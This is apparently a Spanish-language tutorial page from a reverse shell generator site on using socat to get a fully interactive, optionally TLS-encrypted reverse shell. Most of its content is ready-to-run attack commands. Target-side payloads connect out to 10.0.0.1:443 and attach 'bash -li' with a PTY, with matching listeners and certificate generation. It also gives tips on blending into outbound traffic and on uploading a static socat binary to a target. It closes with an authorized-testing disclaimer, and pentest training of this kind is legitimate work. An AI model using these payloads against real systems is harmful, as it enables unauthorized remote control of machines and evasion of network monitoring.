Skip to content
reverseshell

Reverse shell con socat: una TTY totalmente interactiva sin el baile de stty

Cómo una reverse shell con socat te da una PTY totalmente interactiva de serie, además de la variante cifrada OPENSSL — cuando socat está disponible en el objetivo.

Publicado el 3 min de lectura

Socat es lo que usas cuando quieres la buena shell de inmediato. Donde un one-liner de netcat o bash te deja en una sesión cruda y a medio funcionar que luego tienes que mejorar a mano, socat puede asignar un pseudo-terminal en ambos extremos y entregarte una shell totalmente interactiva — control de trabajos, Ctrl-C, vi, peticiones de sudo — desde el primer segundo. El inconveniente: socat tiene que estar presente en el objetivo, y a menudo no lo está.

El payload totalmente interactivo

En el objetivo:

socat TCP:10.0.0.1:443 EXEC:'bash -li',pty,stderr,setsid,sigint,sane

En tu máquina, el listener tiene que coincidir asignando también una PTY:

socat file:`tty`,raw,echo=0 TCP-LISTEN:443

Lo que te aportan las opciones:

  • pty asigna un pseudo-terminal — la razón por la que la shell es interactiva.
  • stderr redirige la salida de errores de vuelta por el canal.
  • setsid ejecuta la shell en una sesión nueva para que sea dueña del terminal.
  • sigint pasa Ctrl-C al proceso remoto en lugar de matar tu shell.
  • sane establece modos de terminal razonables.

El file:\tty`,raw,echo=0del listener conecta tu propio terminal en modo raw para que las pulsaciones de teclado pasen sin alterarse. Este emparejamiento es lo que elimina el ritual depython -c 'pty.spawn'+stty raw -echo` descrito en mejorar una reverse shell — socat lo hace por ti.

La variante cifrada (OPENSSL)

Socat habla TLS, lo que a la vez protege la sesión y ayuda a que se mezcle con el tráfico de salida normal. Genera un certificado en tu listener:

openssl req -newkey rsa:2048 -nodes -keyout s.key -x509 -days 90 -out s.crt
cat s.key s.crt > s.pem

Listener:

socat OPENSSL-LISTEN:443,cert=s.pem,verify=0 file:`tty`,raw,echo=0

Objetivo:

socat OPENSSL:10.0.0.1:443,verify=0 EXEC:'bash -li',pty,stderr,setsid,sigint,sane

verify=0 omite la validación del certificado — está bien para un certificado de prueba autofirmado. Ambos extremos deben coincidir en OPENSSL; un listener en texto plano frente a un payload con TLS es el clásico síntoma de "conectó y luego murió" (consulta elegir un listener).

El problema de la disponibilidad

Socat no está instalado por defecto en la mayoría de los sistemas. Dos opciones cuando falta:

  1. Subir un binario estático de socat a una ruta con permisos de escritura y ejecutarlo desde ahí.
  2. Conseguir primero una shell básica con bash/netcat/python, y usarla luego para desplegar socat (o simplemente mejorar la shell que ya tienes).

Si no puedes meter socat en la máquina, recurre a un one-liner de bash o netcat y mejóralo manualmente.

Cuando no conecta

  1. socat no está en el objetivo — súbelo o usa otro payload.
  2. Desajuste de OPENSSL — ambos extremos deben usar TLS, o ninguno.
  3. Egress filtrado — prefiere 443/80.

Triaje completo: por qué fallan las reverse shells.

Genéralo

El generador de reverse shell emite el payload de socat — en texto plano o OPENSSL — con tu LHOST/LPORT ya rellenados y el listener file:\tty`` correspondiente al lado, de modo que la shell interactiva queda a un copia-pega de distancia cuando socat está disponible.

Solo pruebas autorizadas

Usa reverse shells con socat únicamente contra sistemas de tu propiedad o que tengas autorización explícita para probar. La autorización es lo que lo hace legítimo.

Artículos relacionados

Cómo funcionan los reverse shells, por qué superan a los bind shells a través de firewalls y cómo un generador evita errores de copiar y pegar.
Los one-liners habituales de reverse shell en bash explicados línea a línea, por qué necesitan bash (no sh) y cómo recurrir a alternativas cuando falta /dev/tcp.
Cómo funciona el one-liner de reverse shell en python con socket y pty, por qué la división python/python3 rompe los payloads y una alternativa agnóstica a la versión.